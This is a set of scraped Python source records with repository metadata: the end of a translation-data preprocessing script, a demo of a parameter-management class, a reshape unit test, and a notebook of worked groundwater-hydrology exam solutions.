tf.data.Dataset.from_tensor_slices((source_dm_val, chinese_dm_val))\n    val_dataset = val_dataset.batch(BATCH_SIZE, drop_remainder=True)\n    train_npa_source, train_npa_chinese = get_numpy_array_from_dataset(train_dataset)\n    val_npa_source, val_npa_chinese = get_numpy_array_from_dataset(val_dataset)\n\n    pickle.dump((\n        (train_npa_source, train_npa_chinese),\n        (val_npa_source, val_npa_chinese),\n        token_to_idx,\n        idx_to_token), open(os.path.join(DATA_FOLDER, 'preprocess.p'), 'wb'))\n\n\nif __name__ == '__main__':\n    preprocess_and_save()\n\n", "meta": {"hexsha": "b5c9a4aae75e7d1b226400c3e5ff4fa935c71e89", "size": 5624, "ext": "py", "lang": "Python", "max_stars_repo_path": "seq2seq_translate/preprocess_data.py", "max_stars_repo_name": "Kevin-Huang-NZ/dmtfx", "max_stars_repo_head_hexsha": "7a7d348ab89f7e67027619127ded99e9a7389704", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "seq2seq_translate/preprocess_data.py", "max_issues_repo_name": "Kevin-Huang-NZ/dmtfx", "max_issues_repo_head_hexsha": "7a7d348ab89f7e67027619127ded99e9a7389704", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "seq2seq_translate/preprocess_data.py", "max_forks_repo_name": "Kevin-Huang-NZ/dmtfx", "max_forks_repo_head_hexsha": "7a7d348ab89f7e67027619127ded99e9a7389704", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.9316770186, "max_line_length": 124, "alphanum_fraction": 0.6968349929, "include": true, "reason": "import numpy", "num_tokens": 1747, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.10669059536584677, "lm_q1q2_score": 0.05001555105668232}}
{"text": "import numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\nimport didipack as didi\n\n# the idea of the parameter class is to centralize the parameters of your project in a single class\n# since its a class you can create several set of parameters and save them separatly\n# you can overite the name function so that the name of the parameter is an automatic function of the parameter set\n# you can also use it to loop through different values of the parameters with the function update_param_grid\n\n\n##################\n# example, creating the class\n##################\n# To use it you need to create our own parameters using inheritance.\n\n# First create a set of little class containing the parameters, here are two examples.\nclass ParamsModelA:\n    def __init__(self):\n        self.alpha = 1\n        self.beta = 0.5\n        self.gamma = 21\n\nclass ParamsModelB:\n    def __init__(self):\n        self.alpha = 0.8\n        self.nu = 1\n        self.opti = 'adam'\n        self.gamma = 21\n        self.missing_params = 'nope'\n\n# now create the main Params class which inherit didi.ParamsBasis\nclass Params(didi.ParamsBasis):\n    def __init__(self):\n\n        self.name_detail = ''\n        self.name = ''\n        self.seed = 12345\n\n        # put here a link to the little class so the model are included\n        self.a = ParamsModelA()\n        self.b = ParamsModelB()\n\n        self.update_model_name()\n\n    def update_model_name(self):\n        # you can overwrite the model name to have an automatic name, function of some key parameters\n        # here is an example\n        self.name = self.name_detail + 'Aalpha_' + str(self.a.alpha) + 'gamma_' + str(self.b.gamma) + 'Type_' + self.b.opti\n\n##################\n# examples of applicaiton\n##################\n# creating a parameters\npar1 = Params()\n# note that one of the advantage of this organisation in sub-classes is that it allows multiple parameter with the same name\n# here for example both model A and B have an alpha parameters, but they are stored separatly.\nprint('par1.a.alpha',par1.a.alpha,'par1.b.alpha',par1.b.alpha,)\n# this is quite usefull when you want to follow the notation of multiple papers or you have to many parameters for the greek alphabet.\n\n# you can modify some parameters of this specific instatiations\npar1.a.alpha = 8\npar1.b.gamma = -1\n# change the name after changing parameters in case we want to save it\npar1.update_model_name()\n\n# creating another set of parameters\npar2 = Params() # this is initiated with the default parameters\nprint('The two parameter set have different values ')\nprint('par2.a.alpha',par2.a.alpha,'par1.a.alpha',par1.a.alpha)\nprint('\\n','\\n')\n\n# printing the summary with the print_values function, can be usefull if you want to check what the model looks like\npar1.print_values()\nprint('\\n','\\n')\n\n# saving the parameters\npar1.save(save_dir='save/'+par1.name)\npar2.save(save_dir='save/'+par2.name)\n# note that saving create a folder and put a parameter object in it. This is ideal if you want to save results for different parameter set\n# whenever you come back to your folder of result, all is always contained in this par object.\n\n# to load a parameter you first create a new parameter object\nload_par_1 = Params()\n# then you just load with the directory\nload_par_1.load('save/'+par1.name)\n# the parameter object is backward compatible\n# if you update your project and add parameters you can still load it\n# it will load all the parameters, set the new one to default value and print a warning.\n# in this example, I saved a version of the parameters that did not had the b.missing_params values\n# here is what happen when the parameter is loaded\npar_missing = Params()\npar_missing.load('save/missing')\n\n##################\n# grids\n##################\n\n# This last function is quite usefull to do some parameter girds search through the parameter class.\n# You first create a list of list as below\n# each list in the list of list is of dimension 3\n# first the name of the sub param clas\n# second the name of the parameter\n# third the list of parameter you want the frid to come through\npar = Params()\ngrid = [\n    ['a','alpha',[0.1,0.2,0.3]],\n    ['b','alpha',[0.1,0.2,0.3]],\n    ['b','gamma',[1,2]]\n]\n\n# the grid has 18 combinations\n# you can update the parameters to one paraticular combinations with the command\n# the function update_param take\npar.update_param_grid(grid, 0)\n\n# the loop below goes through all combinations and print the values to show how the update works\nprint((\"{:>10}\"*3).format('a.alpha', 'b.alpha','b.gamma'))\nprint('-'*35)\nfor i in range(18):\n    par.update_param_grid(grid,i)\n    print((\"{:>10}\"*3).format(par.a.alpha, par.b.alpha,par.b.gamma))", "meta": {"hexsha": "4e2d304d33ef4a6bc3e7f8d91c542c52623ebf9b", "size": 4670, "ext": "py", "lang": "Python", "max_stars_repo_path": "demo_params.py", "max_stars_repo_name": "AntoineDidisheim/didipack", "max_stars_repo_head_hexsha": "9c9266bf248cae79e6ffddd98b7e573108abaa57", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "demo_params.py", "max_issues_repo_name": "AntoineDidisheim/didipack", "max_issues_repo_head_hexsha": "9c9266bf248cae79e6ffddd98b7e573108abaa57", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "demo_params.py", "max_forks_repo_name": "AntoineDidisheim/didipack", "max_forks_repo_head_hexsha": "9c9266bf248cae79e6ffddd98b7e573108abaa57", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-08T09:26:04.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-08T09:26:04.000Z", "avg_line_length": 38.2786885246, "max_line_length": 138, "alphanum_fraction": 0.7077087794, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 1135, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.468790611783139, "lm_q2_score": 0.10669059110526008, "lm_q1q2_score": 0.0500155474757396}}
{"text": "import unittest\nimport numpy as np\nfrom prml import nn\n\n\nclass TestReshape(unittest.TestCase):\n\n    def test_reshape(self):\n        self.assertRaises(ValueError, nn.reshape, 1, (2, 3))\n\n        x = np.random.rand(2, 6)\n        p = nn.Parameter(x)\n        y = p.reshape(3, 4)\n        self.assertTrue((x.reshape(3, 4) == y.value).all())\n        y.backward(np.ones((3, 4)))\n        self.assertTrue((p.grad == np.ones((2, 6))).all())\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "ca8ee3833ab34e3ad46cc226b7e525b16c4c2db5", "size": 479, "ext": "py", "lang": "Python", "max_stars_repo_path": "books/PRML/PRML-master-Python/test/nn/array/reshape.py", "max_stars_repo_name": "iamfaith/DeepLearning", "max_stars_repo_head_hexsha": "80ce429d0e9e448cf84e7d51129ef4e0077048a2", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7581, "max_stars_repo_stars_event_min_datetime": "2018-04-26T04:29:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T15:35:39.000Z", "max_issues_repo_path": "books/PRML/PRML-master-Python/test/nn/array/reshape.py", "max_issues_repo_name": "lizhenchen2019/DeepLearning", "max_issues_repo_head_hexsha": "467c73e2d0435f0a05255e5b5e00454260d01f27", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-05-22T02:27:35.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-03T03:53:05.000Z", "max_forks_repo_path": "books/PRML/PRML-master-Python/test/nn/array/reshape.py", "max_forks_repo_name": "lizhenchen2019/DeepLearning", "max_forks_repo_head_hexsha": "467c73e2d0435f0a05255e5b5e00454260d01f27", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2340, "max_forks_repo_forks_event_min_datetime": "2018-04-26T04:28:11.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T02:28:25.000Z", "avg_line_length": 22.8095238095, "max_line_length": 60, "alphanum_fraction": 0.5908141962, "include": true, "reason": "import numpy", "num_tokens": 133, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1066905854244781, "lm_q1q2_score": 0.05001554639626188}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt\nfrom xlrd import *\nimport ipysheet as ips\nimport panel as pn\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom scipy import stats \npn.extension('katex') \n\n\n# ## Groundwater Exam Solution -  2019-2020 ##\n# \n# _(The contents presented in this section were re-developed principally by Dr. P. K. Yadav with supervision from Prof. Rudolf Liedl)_\n\n# **Q1. Aquifer Types**   (ca. 5 pts.)\n# \n# \n# a. Differentiate between Aquifer, Aquitard and Aquiclude (3 points)\n# \n# b. Schematically present a confined aquifer (vertical cross-section) providing essential features with their legends (2 points)\n\n# **Solution 1. a.**\n# \n# See slide: L03/08\n# \n# An **aquifer** or a groundwater reservoir can store and transmit significant (= exploitable) amounts of groundwater.\n# \n# An **aquitard** can store and transmit groundwater but to a much lesser extent than an (adjacent) aquifer.\n# \n# An **aquiclude** can store groundwater but cannot transmit groundwater.\n# \n\n# **Solution 1b** - (L03/11)\n# \n# &nbsp;\n# \n# <img src=\"figs/Q1b_2019-20.png\" alt = \"Question 5\" class=\"bg-primary\" width =  \"1000px\"> \n# \n# **Confined Aquifer**\n# \n# 1. The essential feature of confined aquifer is provided in the figure above.\n# \n\n# **Q2. Groundwater storage (3 pts.)**\n# \n# Dry season in Dresden (2018-19) led to intense extraction of groundawater in rural areas. At one location in a confined aquifer (storage coeff. 4\u00b710<sup>-4</sup>, total porosity = 30%),  the pressure head was lowered by 150 m. The thickness of the aquifer was measured to be 90 m before the beginning of extraction and the compressibility of the porous medium in that region is estimated 6\u00b710<sup>-8</sup> m<sup>2</sup>/N. Density of water can be assumed to be 1000 kg/m<sup>3</sup>.\n# \n# (Hint: $\\Delta V_T = \\alpha_{pm}\\cdot\\rho_w \\cdot g \\cdot  V_T \\cdot  \\Delta \\psi $).\n# \n# \n# a. Approximately how much water was extracted? (1 point)\n# \n# b. How much land subsidence due to water extraction is expected? (2 point)\n# \n\n# **Solution 2**\n# \n# Given relation:\n# \n# For part a. (see Tut 02/P4)\n# \n# $\n# S_s  = \\frac{\\Delta V_w}{V_T\\cdot \\Delta \\psi}\n# $\n# \n# In confined aquifer $S$ is used, which is obtained from:\n# \n# $S = S_s \\cdot m$\n# \n# $\n#  \\frac{S}{m} = \\frac{\\Delta V_w}{A_T\\cdot m \\cdot \\Delta \\psi}\n# $\n# \n# So, \n# \n# $  \\frac{\\Delta V_w}{A}  = S \\cdot \\Delta \\psi$\n# \n# \n# For part b.\n# \n# \n# $\\Delta V_T = \\alpha_{pm}\\cdot\\rho_w \\cdot g \\cdot  V_T \\cdot  \\Delta \\psi $\n# \n# $V_T = A\\times h$, with $A$ surface area and $h$ aquifer thickness.\n# \n# $\\Delta V_T = A \\times \\Delta h$, with $\\Delta h$ change in thickness.\n# \n# $A \\times \\Delta h= \\alpha_{pm}\\cdot\\rho_w \\cdot g \\cdot  A \\cdot h \\cdot  \\Delta \\psi $\n# \n# $\\Delta h = \\alpha_{pm}\\cdot\\rho_w \\cdot g \\cdot h \\cdot  \\Delta \\psi$, with $\\Delta h$ being the land subsidence \n\n# In[2]:\n\n\n#  solution 2 a\n\n# Given\n\nA = 1 # m\u00b2, assuming 1 m\u00b2 aquifer area\nh = 90 # m, aquifer height before extraction\nd_psi = 150 # m, change in pressure head\nS_2 = 4*10**-4 #  specific storage\nrho_w = 1000 # Kg/m\u00b3, density of water\na_pm = 6* 10**-8 # m\u00b2/N = m-s\u00b2/kg, compressibility of porous medium\ng = 9.81 # m/s\u00b2, gravity factor\n\n#Solution\n\nd_V_w  = S_2*A*d_psi\n\nprint(\"The water abstraction volume per m\\u00b2 aquifer is {0:0.3f}\".format(d_V_w), \"m\\u00b3\")\n\n\n# In[3]:\n\n\n#  solution 2 b\n\n\n# Given\n\nA = 1 # m\u00b2, assuming 1 m\u00b2 aquifer area\nh = 90 # m, aquifer height before extraction\nd_psi = 150 # m, change in pressure head\nSs = 4*10**-4 # specific storage\nrho_w = 1000 # Kg/m\u00b3, density of water\na_pm = 6* 10**-8 # m\u00b2/N = m-s\u00b2/kg, compressibility of porous medium\ng = 9.81 # m/s\u00b2, gravity factor\n\n#interim calculation\nV_T = A*h # m\u00b3, Aquifer volume before extraction \n\n#Solution\n\nd_h  = a_pm*rho_w*g*h*d_psi\n\nprint(\"The water abstraction volume is {0:0.2f}\".format(d_h), \"m\")\n\n\n# **Q3. Aquifer Properties** (ca. 10 pts.)\n# \n# The hydraulic conductivity of a sample (length 15 cm, diameter 5 cm) is to be determined using a constant-head permeameter. For that 250 ml water is passed through the sample in 30 s while maintaining the head difference of 2.5 cm. Properties of water provided are:\n# density of water at 20\u00b0C: 1000 kg/m<sup>3</sup>;                                                  dynamic viscosity of water at 20\u00b0C: 1.0087\u00b710<sup>-3</sup> Pa\u00b7s\n#        \n# a.  Sketch the problem as accurately as possible providing essential features with legends (3 points)\n# \n# \n# b. What will be the conductivity of the sample? (4 points)\n# \n# What is the intrinsic permeability of the sample? (2 points)\n# \n# c. What soil type is likely the sample? (1 point)\n# \n# (Hint: For the calculation of permeability, dynamic viscosity/density ratio is required.)\n#  \n# \n# \n\n# **Solution 3** - \n# \n# **Solution 3a** (L05/15)\n# \n# &nbsp;\n# \n# <img src=\"figs/Q3a_2019-20.png\" alt=\"Question 3a\" class=\"bg-primary\" width= \"500px\"> \n# \n\n# In[4]:\n\n\n#Solution 3b** (L05/15)\n\n# Given\n\nL_c = 15 # cm, column length\nDia_c = 5 # cm, diameter column\nV_in= 250 # mL, water entering the column\nt_c = 30 # s, time required to pass\nd_3h = 2.5 # cm, head difference\n\n# interim calculation\nA_c = np.pi*Dia_c**2/4 # cm\u00b2, Area of column\nQ_c = V_in/t_c # cm\u00b3/s, assume 1mL = 1 cm\u00b3, Discharge out of column\n\n#solution \nK_c = (Q_c*L_c)/(A_c*d_3h) # cm/s, conductivity \n\n\nprint(\"The area of the column is {0:0.2f}\".format(A_c), \"cm\\u00b2\")\nprint(\"The discharge from the aquifer is {0:0.2f}\".format(Q_c), \"cm\\u00b3/s\")\nprint(\"The conductivity of the sample is {0:0.2f}\".format(K_c), \"cm/s\")\nprint(\"The conductivity of the sample is {0:0.4f}\".format(K_c/100), \"m/s\")\n\n\n# In[5]:\n\n\n#Solution 3c** (L05/18)\n\n# Given\n\nK_m = K_c/100 # m/s, conductivity\nrho_3w = 1000 # Kg/m\u00b3, density of water\nnu_w = 1.0087*10**-3 # Pa-s = Kg/m-s, dynamic viscosity \ng = 9.81 # m/s\u00b2, gravity factor\n\n#solution\nk_c = K_m*nu_w/(rho_3w*g)\n\nprint(\"The permeability of the sample is {0:0.10f}\".format(k_c), \"m\\u00b2\")\nprint(\"The permeability of the sample is {0:0.2E}\".format(k_c), \"m\\u00b2\")\n\n\n# **Solution 3d**\n# (L05/11)\n# \n# The sample in the column is likely gravel or coarse sand.\n\n# **Q4. Sieve Analysis (ca. 6 pts.)**\n# \n# Sieve experiments were performed with the bore samples and the following observations were obtained: \n# \n# | mesh diameter [mm] \t| residue in the sieve [g] \t| \u03a3 total \t| \u03a3/\u03a3total \t|\n# |:------------------:\t|:------------------------:\t|:-------:\t|:--------:\t|\n# |          6         \t|             0            \t|         \t|          \t|\n# |          2         \t|            40            \t|         \t|          \t|\n# |         0.6        \t|            250           \t|         \t|          \t|\n# |         0.2        \t|            150           \t|         \t|          \t|\n# |        0.06        \t|            60            \t|         \t|          \t|\n# |     <0.06 (cup)    \t|            10            \t|         \t|          \t|\n# \n# \n# a. Draw the granulometric curve in the diagram below.\t\t\t(ca. 5 pts.)\n# \n# b. Briefly characterise the sediment.\t\t\t\t\t\t(ca. 1 pt.)\n\n# In[6]:\n\n\n#Solution 4 -(L03/18)\n\ndia = [6,2,0.6,0.2, 0.06, 0.001] # mm, diameter <0.06 (cup)= 0.001\nmass = [0, 40, 250, 150, 60, 10] # g, the residue in seive \n\n# Calculation steps - filling table\nTotal_mass = np.sum(mass)  # add the mass column to get total mass\nretain_per = mass/Total_mass*100   # retain percentage\nretain_per_cumsum = np.cumsum(retain_per) # get the cummulative sum of the reatined\npassing_per = 100 - retain_per_cumsum # substract 100-cummsum to get passing %\n\ndata = {\"mesh diameter [mm]\": dia, \"residue in the sieve [g]\": mass, \"\u03a3total\": retain_per, \"\u03a3/\u03a3total\": passing_per }\n\ndf1= pd.DataFrame(data)\ndf1 \n\n\n# In[7]:\n\n\n# plotting\nplt.rcParams['axes.linewidth']=2\n#plt.rcParams[\"axes.edgecolor\"]='white'\nplt.rcParams['grid.linestyle']='--'\nplt.rcParams['grid.linewidth']=1\nx = np.append([10],dia) # adding data to extend over 6 mm dia\ny = np.append([100],passing_per) # adding 100% to plot\n\nfig = plt.figure(figsize=(9,6))\nplt.semilogx(x, y, 'x-', color='red')  \ntics=x.tolist()\n\nplt.grid(which='major', color='k', alpha=0.7) \nplt.grid(which='minor', color='k', alpha=0.3)\nplt.xticks(x, tics);  \nplt.yticks(np.arange(0,110,10));\nplt.title('grain size distribution');\nplt.xlabel('grain size d [mm]');\nplt.ylabel('grain fraction < d ins % of total mass');\n\n\n# **solution 4b**\n# \n# The sample can be considered uniformly distributed as over 70% of sample falls in the sand size (0.2 mm-2 mm). Therefore, the sample can be considered sandy. \n\n# **Q5. Aquifer characterization** (ca. 8 pts.)\n# \n# Water levels in m a.s.l. were measured at three observation wells (see figure).\n# \n# \n# <img src=\"figs/Q5_2019-2020.png\" alt = \"Question 5\" class=\"bg-primary\" width = \"300px\"> \n# \n# a. Sketch hydraulic head isolines for increments of 0.5 m. (ca. 3 points.)\n# \n# b. Gravel layer (thickness (t1) = 1.5 m, and conductivity (K1) = 3.7 10-3 is embedded between two sandy layers (t2 = 2 m, K2 = 3\u00b710-4 m/s; and t3 = 3 m, K3 = 4\u00b710-4 m/s). If the hydraulic gradient is 1% and overall discharge is 1 m3/d per unit width of the aquifer, find the effective hydraulic conductivity considering a parallelly layered aquifer. \n# \n# (Hint: $K_{eff} = \\frac{m}{\\sum_{i=1}^n \\frac{m_i}{K_i}}$ or $K_{eff} =  \\sum_{i=1}^n\\frac{m_i\\cdot K_i}{m}$  ) (ca. 2 points)\n# \n# c. Distinguish between homogeneity and heterogeneity, and isotropy and anisotropy (ca. 3 points)  \n# \n# \n# \n\n# **Solution 5a**\n# (L07/08-09)\n# \n# The isolines and flow direction is provided in the figure below.\n# \n# \n# <img src=\"figs/Q5a_2019-2020.png\" alt = \"Question 5a\" class=\"bg-primary\" width =\"300px\"> \n\n# In[8]:\n\n\n# Solution 5b (L06/08-13)\n\n# Given:\n\nG_t1 = 2 # m, sandy layer top\nG_t2 = 1.5 # m, gravel layer middle\nG_t3 = 3 # m, sandy layer bottom \nK_1 =  3.0*10**-4 # m/s cond. in G_t1\nK_2 = 3.7*10**-3 # m/s cond. in G_t2\nK_3 =  4.0*10**-4 # m/s cond. in G_t3\ni = 1/100 # (), hydraulic gradient 1%\nQ_5 = 1 # m\u00b3/d per-W, discharge per unit width\n\n#intermediate calculation\nm = G_t1+G_t2+G_t3 # m, total aq. thickness\n\nK_ef_h = (1/m) * (G_t1*K_1 + G_t2*K_2 + G_t3*K_3) # m/s, eff. horizontal cond.\nK_ef_v = m/(G_t1/K_1 + G_t2/K_2 + G_t3/K_3) # # m/s, eff. vertical cond.\n\nprint(\"The thickness of the aquifer is {0:0.3f}\".format(m), \"m\")\nprint(\"The effective horizontal conductivity of the aquifer is {0:0.2E}\".format(K_ef_h), \"m/s\")\nprint(\"The effective vertical conductivity of the aquifer is {0:0.2E}\".format(K_ef_v), \"m/s\")\n\n\n# **Solution 5c** (L06/23) \n# \n# **Homogeneity**: An aquifer is homogeneous when its parameters are constant throughout the porous medium, i.e. the properties of the medium are independent of space\n# \n# **Heterogeneity**: Heterogeneous aquifer have its properties varies in space or the properties are space dependent.\n# \n# **Isotropy**: This relates to properties of aquifer being independent of direction, i.e., $K_v = K_h$ \n# \n# **Anisotropy**: In this case the aquifer properties are direction dependent, i.e., $K_v \\neq K_h$.\n\n# **Q6. Well** (ca. 5 pts.)\n# \n# \n# a. Sketch the pumping scenario of an unconfined aquifer (vertical cross section) and label all possible quantities (ca 3 pts.)\n# \n# \n# b. The conductivity of a confined aquifer (8 m thick) is estimated to be $4\\cdot 10^{-4}$ m/s. If the steady-state discharge 50 m<sup>3</sup>/s, using the Theis equation ($s = Q/4\\pi T\u00b7W(u)$, with $W(u) = 15$), find the drawdown in the aquifer. (2 points)\n# \n\n# **Solution 6a**\n# (L08/16)\n# \n# Figure below presents the scenario of a well in an _unconfined_ aquifer.\n# \n# \n# <img src=\"figs/Q6_2019-2020.png\" alt = \"Question 7b\" class=\"bg-primary\" width =\"500px\"> \n# \n\n# In[9]:\n\n\n#Solution 6b\n\n#Given\n\nQ_6 = 50 # m\u00b3/s, discharge\nK_6 = 4*10**-4 # m/s, conductivity\nm_6 = 8 # m, thickness\nW_u = 15 # (), well function\n\n# interim cal.\nT_6 = K_6 * m_6 # m\u00b2/s, Transmissivity T = K*m\n\n# solution\ns_6 = (Q_6/(4*np.pi*T_6)) * W_u # m, drawdown\n\nprint(\"The Transmissivity of the aquifer is {0:0.5f}\".format(T_6), \"m\\u00b2/s\")\nprint(\"The drawdown in the well is {0:0.2f}\".format(s_6), \"m\")\n\n\n# **Q7. Conservative Transport**  (ca. 7 pts.)\n# \n# a. How is reactive transport different to conservative transport in the aquifers. (2 points)\n# \n# b. With suitable sketch distinguish between advective flux and dispersive flux. (2 points)\n# \n# \n# c. A column (L = 1.2 m and \u00d8 = 5 cm) was packed with sandy soil (ne= 35%  K= 0,0002 m/s). The hydraulic head at the inlet and the outlet was set to 230 m and 235 m, resp. The NaCl solution with conc. 10 mg/L was steadily introduced to the column after saturating it with distilled water. The experiment condition was such that diffusive flow could be neglected.  You may make justified assumption for any missing information.\n# \n# c.i. What will be the advective mass flux at the outlet of the column? (1.5 points)\n# \n# c.ii. Considering initial concentration difference between inlet and outlet to be 10 mg/L, what    will be the dispersive mass flux at the outlet? (1.5 points) \n# \n# (Hint: Dispersive and Advective fluxes are either of $ n_e \\cdot v\\cdot C$ and $n_e\\cdot \\alpha \\cdot v \\cdot \\Delta C/L$)\n\n# **Solution 7a** (L09/05) \n# \n# A chemical in groundwater is subject to conservative transport processes if there is:\n# \n# + no interaction with the solid material,   \n# + no interaction with other chemicals,                  \n# + no interaction with microbes.\n# \n# When either of the above are part of the groundwater, the transport process is reactive.\n# \n\n# **Solution 7b** (L09/09)\n# \n# The sketch below distinguish between advective and dispersive fluxes. The figure in the left is of advective process and that in the right results to dispersive flux.\n# \n# <img src=\"figs/Q7b_2019-2020.png\" alt = \"Question 7b\" class=\"bg-primary\" width =\"500px\"> \n\n# In[10]:\n\n\n#Solution 7c\n\nL_7 = 1.2 # m, col. length\nDia_7 = 5 # cm, col. diameter \nne_7 = 0.35 # (), effective porosity\nK_7 = 0.0002 # m/s, conductivity\nH_7in = 235 # m, head inlet\nH_7out = 230 # m, head outlet\nC_7 = 10 # mg/L, NaCl concentration\nal_7 = 1 # m, assumed\nC_7d = 10 # mg/L\n\n#intermediate calc.\ni_7 = (H_7in-H_7out)/L_7 # (), head gradient\nv_7dar = K_7*i_7 # m/s, darcy velocity\nv_7av = v_7dar/ne_7 # m/s, average linear velocity\n\n\n# Solution\nF_7ad = ne_7*v_7av*C_7 # mg-m/L-s, advective flux \nF_7dis = ne_7*al_7*v_7av*C_7d/L_7 # mg-m/L-s, dispersive flux \n\nprint(\"The hydraulic gradient is {0:0.4f}\".format(i_7), \"\")\nprint(\"The Darcy velocity is {0:0.4f}\".format(v_7dar), \"m/s\")\nprint(\"The average linear velocity is {0:0.4f}\".format(v_7av), \"m/s\")\nprint(\"The advective flux is {0:0.10f}\".format(F_7ad), \"mg-m/L-s\")\nprint(\"The dispersive flux is {0:0.10f}\".format(F_7dis), \"mg-m/L-s\")\n\n\n# **Q8. Sorption Isotherms** (ca. 10 pts)\n# \n# Five batch tests (different initial concentrations \u2013 see table below) were performed to determine the sorption properties of a sediment. For each batch 20 g of sediment in 30 mL of water were used. The measured equilibrium solute concentrations are also provided in the table.\n# \n# a)\tComplete the above table\t\t\t\t\t\t\t\t(ca. 3 pts.)\n# \n# b)\tPlot the results in the diagram below and draw a Henry isotherm\t\t\t(ca. 3 pts.)\n# \n# c)\tHow is retardation related to isotherm (ca. 2 points)\n# (value and unit!)\t\t(ca. 2 pts.).\n# \n# \n# \n# \n# \n\n# In[11]:\n\n\nhead = [\"Batch nr. \", \"Initial Conc. (mg/L) \", \"Equi. Conc. (mg/L)\", \"Sorbed mass (g)\", \"Sorbed mass/solid (mg/g)\" ]\nbn = np.array([1,2,3,4,5])\nC_0 = np.array([5, 10, 15, 20, 25])# mg/L, initial conc.\nC_eq = np.array([2.5, 4.9, 8, 9.8, 13.2])# mg/L, equilibrium conc.\ns2 = ips.sheet(rows=6, columns=5, row_headers=False, column_headers=head)\nips.column(0, bn, row_start=0) \nips.column(1, C_0, row_start=0)\nips.column(2, C_eq, row_start=0); \ns2\n\n\n# In[12]:\n\n\n# SOlution of Problem 10 a (T07/HP9)\n\n# Given\nv_ml = 30 # ml of water used in expt.\nv_l = v_ml/1000 # L, unit conversion\nm_s = 20 # g, solid mass used in expt.\n\nbn = np.array([1,2,3,4,5])\nC_0 = np.array([5, 10, 15, 20, 25])# mg/L, initial conc.\nC_eq = np.array([2.5, 4.9, 8, 9.8, 13.2])# mg/L, equilibrium conc.\ns_m = (C_0-C_eq)*v_l\nm_m = s_m/m_s# mg/g, mass ratio\n\n#output\nd8 = {\"Batch Nr\": bn, \"Initial Conc. (mg/L)\": C_0, \"Equi. Conc. (mg/L)\": C_eq, \"Sorbed mass (g)\": s_m, \"Sorbed mass/solid (mg/g)\" :m_m}\ndf9 = pd.DataFrame(d8); df9\n\n\n# In[13]:\n\n\n# Solution of proble 10 (b) (T07/HP9)\n# fit\nslope, intercept, r_value, p_value, std_err = stats.linregress(C_eq, m_m) # linear regression\n\n#plot and fit\nfig = plt.figure(); plt.plot(C_eq, m_m, 'bo', label=' provided data');\npred = intercept + slope*C_eq # fit line\nplt.plot(C_eq, pred, 'r', label='y={:.2E}x+{:.2f}'.format(slope,intercept)) ;\nplt.xlabel(r\"$C_{eq} $ mg/L\"); plt.ylabel(r\"$C_{a} $ mg/g\");\nplt.grid(); plt.legend(fontsize=11);  plt.text(2.2, 0.014,'$R^2 = %0.2f$' % r_value)\nplt.text(2.2, 0.012,'$C_a = K_{d}\\cdot C_{eq}$'); \n\n\n# **solution 8c**\n# (L10/13)\n# \n# The following relation relates Retardation ($R$) with linear isotherm ($K_d$)\n# \n# $$\n# R = 1+ \\frac{1-n_e}{n_e}\\rho_s K_d\n# $$\n# \n# with effective porosity $n_e$, solid density $\\rho_s$.\n\n# **Q9. Groundwater Modelling** (ca. 8 points.)\n# \n# a. Distinguish between conceptual model and mathematical model; and between analytical solution and empirical solution (ca. 4 points).\n# \n# b. Draw a conceptual model for a rectangular aquifer 100 m long and 20 m wide. Discretize the domain with 1/10 of the length length-wise and 1/5 of the width width-wise. Assure that flow in the model is from left to right direction (ca. 3 points).\n# \n# c. How is a no-flow boundary condition mathematically defined? (ca. 1 point)\n# \n# \n\n# **Solution 9a** \n# (L11/04-06)\n# \n# A model or also a _conceptual model_ is a representation, an image or a description of a real system.\n# \n# example for a real system: porous medium with water flowing through the pores (Darcy experiment)\n# \n# A _mathematical model_ provides a quantitative representation of the relevant system components, processes and impacts in the area of investigation. The quantitative representation is based on mathematical equations.\n# \n# _Analytical solution_ : These are exact mathematical expressions solving the model equations.\n# \n# _Emperical solution_ : These are solution based on experimental results. \n# \n# \t\t\t\t\t\n# \n\n# **Solution 9b** - (L14/12)\n# \n# \n# <img src=\"figs/Q9b_2019-2020.png\" alt=\"Question 9b\" class=\"bg-primary\" width = \"500px\">\n\n# **Solution 9c**\n# (L13/16)\n# \n# A no-flow boundary condition is special case of second type or Neumann boundary condition. For no flow condition head gradient is equated to zero, i.e., there is no gradient and thus no flow (water flows from high to low head). Mathematically, this is:\n# \n# $\\frac{dh}{dx} = 0 $ for no-flow along $x-$axis, with $h$ representing head.\n# \n# \n\n# Good Luck.\n", "meta": {"hexsha": 